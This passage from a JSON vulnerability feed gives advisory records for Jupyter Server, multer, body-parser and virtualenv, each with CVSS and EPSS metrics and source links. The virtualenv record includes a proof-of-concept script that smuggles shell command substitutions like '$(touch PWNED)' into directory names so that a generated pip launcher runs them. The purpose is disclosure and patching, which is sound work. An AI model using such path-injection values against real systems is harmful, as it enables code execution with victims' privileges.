GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-g842-9rc4-69pw, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96637","type":"primary","publishedAt":"2026-10-21T21:20:31.927Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114135","cveId":"CVE-2026-114135","aliases":["GHSA-354v-3q48-cv69"],"kind":"vulnerability","title":"Jupyter Server: Gateway WebSocket handler bypasses kernel execute authorization","summary":"Jupyter Server's gateway WebSocket handler checks that a user is authenticated, but it does not ask the configured Authorizer whether that user may execute kernels.\n\nIn Jupyter Server 2.0.0 through 2.5.0, enabling GatewayClient.url automatically replaced the normal kernel channel handler with this gateway-specific handler. An authenticated user who is denied the `execute` action on the `kernels` resource can therefore still open a kernel channel and send messages to the upstream kernel.","detail":"### Summary\n\nJupyter Server's gateway WebSocket handler checks that a user is authenticated, but it does not ask the configured Authorizer whether that user may execute kernels.\n\nIn Jupyter Server 2.0.0 through 2.5.0, enabling GatewayClient.url automatically replaced the normal kernel channel handler with this gateway-specific handler. An authenticated user who is denied the `execute` action on the `kernels` resource can therefore still open a kernel channel and send messages to the upstream kernel.\n\n### Details\n\nThe normal handler performs the expected authorization check before creating the WebSocket connection:\n\nhttps://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/services/kernels/websocket.py#L39-L47\n\nThe gateway handler only checks `current_user` and then opens the upstream channel. It never calls `authorizer.is_authorized(...)`:\n\nhttps://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/gateway/handlers.py#L49-L75\nhttps://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/gateway/handlers.py#L87-L98\n\nGateway mode selected that handler automatically by replacing handlers with matching routes:\n\nhttps://github.com/jupyter-server/jupyter_server/blob/v2.5.0/jupyter_server/serverapp.py#L437-L446\n\nPR #1261 stopped replacing the normal handler and routed gateway traffic through `GatewayWebSocketConnection` instead. This appears to have fixed the default gateway configuration in 2.6.0, although the deprecated handler is still present in current releases and can still be registered directly.\n\nhttps://github.com/jupyter-server/jupyter_server/pull/1261\n\n### Code-level validation\n\n1. Configure a custom Authorizer that returns false for `execute` on `kernels` for a regular authenticated user.\n2. Configure `GatewayClient.url` on Jupyter Server 2.0.0-2.5.0.\n3. The normal `KernelWebsocketHandler` would reject that user with 403 in `pre_get`.\n4. Gateway mode replaces it with `WebSocketChannelsHandler`. Its `authenticate` method only rejects anonymous users, and `get` proceeds to the upstream gateway without an authorization decision.\n\n### Impact\n\nThis is a missing authorization check, not an authentication bypass. It matters in deployments that use a restrictive custom Authorizer and Jupyter Gateway/Enterprise Gateway. A read-only or otherwise limited authenticated user can cross the intended authorization boundary and obtain kernel execution, with access to data and credentials available to that kernel.\n\n### Affected versions\n\n- Default gateway configuration: 2.0.0 through 2.5.0\n- 2.6.0 and later: the default path uses the authorized standard handler, but manually registering the deprecated `jupyter_server.gateway.handlers` module still exposes the old behavior.\n\nAffected package ranges reported by GitHub:\njupyter-server: >= 2.0.0, < 2.6.0","action":"GitHub lists first patched versions: jupyter-server: 2.6.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T15:46:31.000Z","updatedAt":"2026-10-22T17:21:57.293Z","regions":["Global"],"vendor":null,"product":"jupyter-server","stacks":["Python packages (PyPI)","jupyter-server","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114135","asOf":"2026-10-22T17:21:57.293Z"},"epss":{"probability":0.00484,"percentile":0.4141,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-354v-3q48-cv69","url":"https://github.com/advisories/GHSA-354v-3q48-cv69","type":"primary","publishedAt":"2026-10-22T15:46:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-354v-3q48-cv69, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-114135","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114135","type":"primary","publishedAt":"2026-10-21T20:17:25.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113872","cveId":"CVE-2026-113872","aliases":["GHSA-q7qp-rjg7-q26m"],"kind":"vulnerability","title":"multer vulnerable to Denial of Service via a pending asynchronous fileFilter after request teardown","summary":"multer is a middleware for Node.js that handles multipart/form-data file uploads. In versions from 2.0.0 before 2.5.0, when multer is configured with an asynchronous fileFilter, a single request can crash the Node.js process. If the request is aborted while one file's asynchronous fileFilter is still pending, the pending callback later resumes a parsing stream that multer has already torn down, and the underlying parser emits an error on a stream that no longer has an error listener, which Node raises as an unhandled error event so the process exits. Any application using multer with an asynchronous fileFilter is affected regardless of storage engine, while uploads using a synchronous fileFilter are not affected. The issue is fixed in multer 2.5.0, and users should upgrade to 2.5.0 or later. As a workaround, use a synchronous fileFilter.","detail":"multer is a middleware for Node.js that handles multipart/form-data file uploads. In versions from 2.0.0 before 2.5.0, when multer is configured with an asynchronous fileFilter, a single request can crash the Node.js process. If the request is aborted while one file's asynchronous fileFilter is still pending, the pending callback later resumes a parsing stream that multer has already torn down, and the underlying parser emits an error on a stream that no longer has an error listener, which Node raises as an unhandled error event so the process exits. Any application using multer with an asynchronous fileFilter is affected regardless of storage engine, while uploads using a synchronous fileFilter are not affected. The issue is fixed in multer 2.5.0, and users should upgrade to 2.5.0 or later. As a workaround, use a synchronous fileFilter.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T15:17:05.377Z","updatedAt":"2026-10-23T22:08:22.000Z","regions":["Global"],"vendor":null,"product":"multer","stacks":["JavaScript packages (npm)","multer","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-q7qp-rjg7-q26m","asOf":"2026-10-23T22:08:22.000Z"},"epss":{"probability":0.00442,"percentile":0.38093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113872","type":"primary","publishedAt":"2026-10-22T15:17:05.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-q7qp-rjg7-q26m","url":"https://github.com/advisories/GHSA-q7qp-rjg7-q26m","type":"primary","publishedAt":"2026-10-23T22:08:22.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-q7qp-rjg7-q26m, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111181","cveId":"CVE-2026-111181","aliases":["GHSA-27r3-jxmh-p828"],"kind":"vulnerability","title":"body-parser vulnerable to Denial of Service via trailing bytes after a compressed request body","summary":"body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.","detail":"body-parser is body parsing middleware for Node.js and Express. In versions before 1.20.9 and in versions from 2.0.0 before 2.4.0, a single request can crash any application using body-parser with default options. When a request carries a Content-Encoding such as gzip, body-parser pipes it into a decompression stream and, after reading the body, leaves that stream with no error listener. A payload of one valid compressed frame followed by trailing bytes decodes and the application responds normally, but the trailing bytes then reach the already-finished decoder, which emits an error that is re-thrown as an uncaught exception and terminates the process. No matching route is required because body parsing runs before routing, so any endpoint that parses a body is affected. The issue is fixed in body-parser 2.4.0 and 1.20.9, and users should upgrade to one of those versions or later. As a workaround, disable request-body inflation (set the body-parser inflate option to false) so encoded requests are rejected before any decompression stream is created.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T15:17:04.763Z","updatedAt":"2026-10-23T20:53:12.000Z","regions":["Global"],"vendor":null,"product":"body-parser, body-parser","stacks":["JavaScript packages (npm)","body-parser","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-27r3-jxmh-p828","asOf":"2026-10-23T20:53:12.000Z"},"epss":{"probability":0.00388,"percentile":0.32621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111181","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111181","type":"primary","publishedAt":"2026-10-22T15:17:04.763Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"GitHub-reviewed advisory GHSA-27r3-jxmh-p828","url":"https://github.com/advisories/GHSA-27r3-jxmh-p828","type":"primary","publishedAt":"2026-10-23T20:53:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-27r3-jxmh-p828, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111181&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111181, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113722","cveId":"CVE-2026-113722","aliases":["GHSA-c978-59m8-c77v"],"kind":"vulnerability","title":"virtualenv: Generated POSIX console launchers interpret destination paths as shell syntax","summary":"A destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.","detail":"## Summary\n\nA destination path supplied to virtualenv can be interpreted as shell syntax by a generated POSIX console launcher. The\napp-data seeder and pip delegate launcher generation to distlib but supply the interpreter path in a form that does not\npreserve it as literal data in the shell wrapper.\n\n## Affected area\n\nPOSIX console scripts generated by the app-data seeder or pip when the interpreter path requires a shell wrapper.\nWindows executable launchers are not affected by this path.\n\n## Attacker-controlled input\n\nAn attacker must influence the environment destination passed to virtualenv, and the user must subsequently run a\ngenerated launcher. The attacker does not need to modify an installed executable or control the user's app-data cache.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[ScriptMakerCustom](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/embed/via_app_data/pip_install/base.py).\n\n## Mechanism\n\nThe app-data seeder passes the environment's interpreter path through `enquote_executable()` to distlib's `ScriptMaker`.\nIt adds double quotes for a path with a space but does not escape shell expansions inside those quotes. When the path\nhas a space or the shebang exceeds 127 bytes, distlib emits a `#!/bin/sh` wrapper with a line shaped like\n`'''exec' \" \" \"$0\" \"$@\"`. The shell expands `$(...)` and backticks in that path when the launcher is run. The same\nwrapper must also parse as Python, which exposes additional quote and backslash cases. Environment creation and\nactivation do not trigger the shell payload.\n\n## Reproduction and evidence\n\nThe scanner created three environments: a control under `my -touch PWNED- project`, one under\n`my $(touch PWNED) project`, and one under a path of more than 127 bytes ending in `$(touch${IFS}PWNED)`. Each was\ncreated without producing `PWNED`. Running the generated `bin/pip --version` created `PWNED` in both attack cases; the\ncontrol created none. The long-path case reached the shell wrapper without a space. This reproduces execution by the\ngenerated launcher, with the user's privileges, rather than during seeding.\n\nThe report dates the app-data seeder's distlib launcher integration to #1579, first released in 20.0.2.\n[PR #3417](https://github.com/pypa/virtualenv/pull/3417) quotes the raw interpreter path for the POSIX wrapper and\nrepairs launchers written by the pip seeder. Pip's own distlib can write a vulnerable wrapper again during a later pip\ninstall or upgrade; the proposed virtualenv fix does not change pip's vendored code. The maintainer-provided follow-up\nreview reports that later path separately.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant V as virtualenv seeder\n participant D as distlib ScriptMaker\n participant S as Generated bin/pip\n participant U as User\n A->>V: path contains $(touch PWNED)\n V->>D: pass interpreter path with incomplete shell quoting\n D->>S: write /bin/sh wrapper\n Note over V,S: no payload runs during creation or activation\n U->>S: pip --version\n S->>S: shell expands path and runs touch\n S-->>U: PWNED appears with user's privileges\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-5DZVLGL1`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport shutil\nimport subprocess\nfrom pathlib import Path\n\nWORK = Path(\"/tmp/repro-console-script\")\n\n# The attacker's whole input: the name of a directory above the environment (a repository, a project folder).\nDIRECTORY_NAMES = {\n \"CONTROL\": \"my -touch PWNED- project\",\n \"OBSERVED\": \"my $(touch PWNED) project\",\n # no space: distlib also picks the /bin/sh launcher once \"#! /bin/python\" is longer than 127 bytes\n \"OBSERVED_LONG\": \"p\" * 120 + \"$(touch${IFS}PWNED)\",\n}\n\nshutil.rmtree(WORK, ignore_errors=True)\npip_printed = {}\ncreated_by_pip = {}\nfor label, name in DIRECTORY_NAMES.items():\n # the payload can hold no \"/\", so it touches a relative PWNED: each case gets its own empty working directory\n cwd = WORK / label / \"cwd\"\n venv = WORK / label / name / \"venv\"\n cwd.mkdir(parents=True)\n\n # set up: the user creates an environment there with default options (--no-periodic-update keeps it offline)\n subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", str(venv)], cwd=cwd, check=True)\n assert list(cwd.iterdir()) == [], \"environment creation must not have created anything\"\n\n # trigger: the user runs the seeded pip; argv is a list, so the only shell that reads the name is bin/pip's own\n pip = subprocess.run([venv / \"bin\" / \"pip\", \"--version\"], cwd=cwd, capture_output=True, text=True)\n pip_printed[label] = pip.stdout\n created_by_pip[label] = sorted(p.name for p in cwd.iterdir())\n\n launcher = (venv / \"bin\" / \"pip\").read_text().splitlines()\n print(f\"{label}: directory name {name!r}\")\n print(f\" bin/pip line 1: {launcher[0]}\")\n print(f\" bin/pip line 2: {launcher[1]}\")\n print(f\" bin/pip --version printed: {(pip.stdout + pip.stderr).strip()}\")\n print(f\" files bin/pip created in the working directory: {created_by_pip[label]}\")\n\n# check: a directory name is data; starting pip must run pip and nothing else\ncontrol_ok = pip_printed[\"CONTROL\"].startswith(\"pip \") and created_by_pip[\"CONTROL\"] == []\nattack_ran = created_by_pip[\"OBSERVED\"] == [\"PWNED\"] and created_by_pip[\"OBSERVED_LONG\"] == [\"PWNED\"]\nprint(\"BUG\" if control_ok and attack_ran else \"OK\")\n```\n\n## Fix scope and remaining exposure\n\nPR #3417 changes launcher generation by the app-data seeder and repairs POSIX shell wrappers after pip seeding. The\npip-seeder repair uses the same quoting rule and updates the installed RECORD hashes and sizes.\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:30:12.000Z","updatedAt":"2026-10-23T02:16:57.087Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113722","asOf":"2026-10-23T02:16:57.087Z"},"epss":{"probability":0.00285,"percentile":0.20855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113722&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-c978-59m8-c77v","url":"https://github.com/advisories/GHSA-c978-59m8-c77v","type":"primary","publishedAt":"2026-10-21T21:30:12.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-c978-59m8-c77v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 